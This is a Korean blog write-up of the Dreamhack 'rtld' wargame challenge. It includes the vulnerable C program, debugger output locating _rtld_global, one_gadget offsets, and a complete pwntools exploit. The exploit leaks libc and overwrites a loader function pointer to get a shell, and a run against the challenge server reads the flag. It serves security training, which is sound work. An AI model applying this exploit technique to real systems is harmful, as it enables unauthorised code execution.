728x90
반응형
1. intro
2. code 및 분석
2.1 code
// gcc -o rtld rtld.c -fPIC -pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <dlfcn.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
void get_shell() {
system("/bin/sh");
}
int main()
{
long addr;
long value;
initialize();
printf("stdout: %p\n", stdout);
printf("addr: ");
scanf("%ld", &addr);
printf("value: ");
scanf("%ld", &value);
*(long *)addr = value;
return 0;
}
2.2 분석
다수의 보호기법이 걸려 있고, 셀을 실행시켜주는 get_shell 함수를 가지고 있으며, main 함수 내에서 특정 주소의 값을 변경할 수 있으며, return으로 프로그램이 종료된다.
3. 취약점 확인 및 공격 준비
3.1 취약점
앞선 rtld 문제와 동일하게 많은 보호기법이 걸려 있으나, stdout 주소를 출력해주며, 특정 위치에 특정 값을 삽입 가능함과 동시에 return으로 main 함수가 종료되기에 rtld overwrite가 가능하다.
3.2 공격 준비
libc 파일이 제공되므로 ld 파일을 찾아 링킹 후 offset 확인.
┌──(kali㉿kali)-[~/Downloads]
└─$ patchelf --set-interpreter ./ld-8c0d248ea33e6ef17b759fa5d81dda9e.so.2 rtld
┌──(kali㉿kali)-[~/Downloads]
└─$ patchelf --replace-needed libc.so.6 ./libc.so.6 rtld
┌──(kali㉿kali)-[~/Downloads]
└─$ ldd rtld
linux-vdso.so.1 (0x00007ffcc35e1000)
./libc.so.6 (0x00007f102107a000)
./ld-8c0d248ea33e6ef17b759fa5d81dda9e.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007f102164b000)
rtld의 위치는 아래와 같다.
0x7ffff7de7b37 lea 0x215e0a(%rip), %rdi # 0x7ffff7ffd948 <_rtld_global+2312>
→ 0x7ffff7de7b3e call *0x216404(%rip) # 0x7ffff7ffdf48 <_rtld_global+3848>
0x7ffff7de7b44 mov (%r12), %ecx
0x7ffff7de7b48 test %ecx, %ecx
0x7ffff7de7b4a je 0x7ffff7de7b10
0x7ffff7de7b4c mov -0x8(%r12), %rax
0x7ffff7de7b51 movzbl 0x315(%rax), %edx
────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
_rtld_global+3848 (
)
────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "rtld", stopped 0x7ffff7de7b3e in ?? (), reason: SINGLE STEP
──────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7de7b3e → call *0x216404(%rip) # 0x7ffff7ffdf48 <_rtld_global+3848>
[#1] 0x7ffff7a46ff8 → jmp 0x7ffff7a46f30
[#2] 0x7ffff7a47045 → exit()
[#3] 0x7ffff7a2d837 → __libc_start_main()
[#4] 0x555555400949 → _start()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ p &_rtld_global
$1 = (<data variable, no debug info> *) 0x7ffff7ffd040 <_rtld_global>
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00555555400000 0x00555555401000 0x00000000000000 r-x /home/kali/Downloads/rtld
0x00555555601000 0x00555555602000 0x00000000001000 r-- /home/kali/Downloads/rtld
0x00555555602000 0x00555555603000 0x00000000002000 rw- /home/kali/Downloads/rtld
0x00555555603000 0x00555555605000 0x00000000004000 rw- /home/kali/Downloads/rtld
0x007ffff7a0d000 0x007ffff7bcd000 0x00000000000000 r-x /home/kali/Downloads/libc.so.6
0x007ffff7bcd000 0x007ffff7dcd000 0x000000001c0000 --- /home/kali/Downloads/libc.so.6
0x007ffff7dcd000 0x007ffff7dd1000 0x000000001c0000 r-- /home/kali/Downloads/libc.so.6
0x007ffff7dd1000 0x007ffff7dd3000 0x000000001c4000 rw- /home/kali/Downloads/libc.so.6
0x007ffff7dd3000 0x007ffff7dd7000 0x00000000000000 rw-
0x007ffff7dd7000 0x007ffff7dfd000 0x00000000000000 r-x /home/kali/Downloads/ld-8c0d248ea33e6ef17b759fa5d81dda9e.so.2
0x007ffff7ff3000 0x007ffff7ff6000 0x00000000000000 rw-
0x007ffff7ff6000 0x007ffff7ffa000 0x00000000000000 r-- [vvar]
0x007ffff7ffa000 0x007ffff7ffc000 0x00000000000000 r-x [vdso]
0x007ffff7ffc000 0x007ffff7ffd000 0x00000000025000 r-- /home/kali/Downloads/ld-8c0d248ea33e6ef17b759fa5d81dda9e.so.2
0x007ffff7ffd000 0x007ffff7ffe000 0x00000000026000 rw- /home/kali/Downloads/ld-8c0d248ea33e6ef17b759fa5d81dda9e.so.2
0x007ffff7ffe000 0x007ffff7fff000 0x00000000000000 rw-
0x007ffffffde000 0x007ffffffff000 0x00000000000000 rw- [stack]
gef➤ p 0x7ffff7ffd040 -0x007ffff7a0d000
$2 = 0x5f0040
더불어 PIE로 인해 pwntools의 symbols로 get_shell 함수의 주소를 찾을 수 없다. (offset만 찾을 수 있다)
그러므로 굳이 구하려하지 말고 oneshot gadget으로 shell을 획득해보자.
┌──(kali㉿kali)-[~/Downloads]
└─$ one_gadget ./libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
4. exploit
위의 내용을 토대로 페이로드를 작성해보면 아래와 같다.
from pwn import *
#p = remote('host3.dreamhack.games', 18905)
p = process('./rtld')
e = ELF('./rtld')
libc = ELF('./libc.so.6')
stdout = p.recvline()[-15:-1]
base = int(stdout,16) - libc.symbols['_IO_2_1_stdout_']
rtld_global_add = base + 0x5f0040
recursive_add = rtld_global_add + 3848
gadget = base + 0x4526a #첫번째 gadget은 실패하여 두번째 사용.
p.sendlineafter('addr: ',str(recursive_add))
p.sendlineafter('value: ',str(gadget))
p.interactive()
로컬 환경에서는 성공.
온라인에 시도. # 온라인에서는 두번째 gadget이 실패하여 세번째 사용.
┌──(kali㉿kali)-[~/Downloads]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 18905: Done
[*] '/home/kali/Downloads/rtld'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/kali/Downloads/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
/home/kali/Downloads/a.py:15: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter('addr: ',str(recursive_add))
/usr/local/lib/python3.10/dist-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
/home/kali/Downloads/a.py:16: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter('value: ',str(gadget))
[*] Switching to interactive mode
$ id
uid=1000(rtld) gid=1000(rtld) groups=1000(rtld)
$ cat flag
DH{----------#플래그는 삭제}
728x90
반응형
'Wargame > Dreamhack' 카테고리의 다른 글
send_sig (0) | 2022.08.16 |
---|---|
SigReturn-Oriented Programming (0) | 2022.08.15 |
__environ (0) | 2022.08.15 |
Overwrite _rtld_global (0) | 2022.08.15 |
master_canary (2) | 2022.08.10 |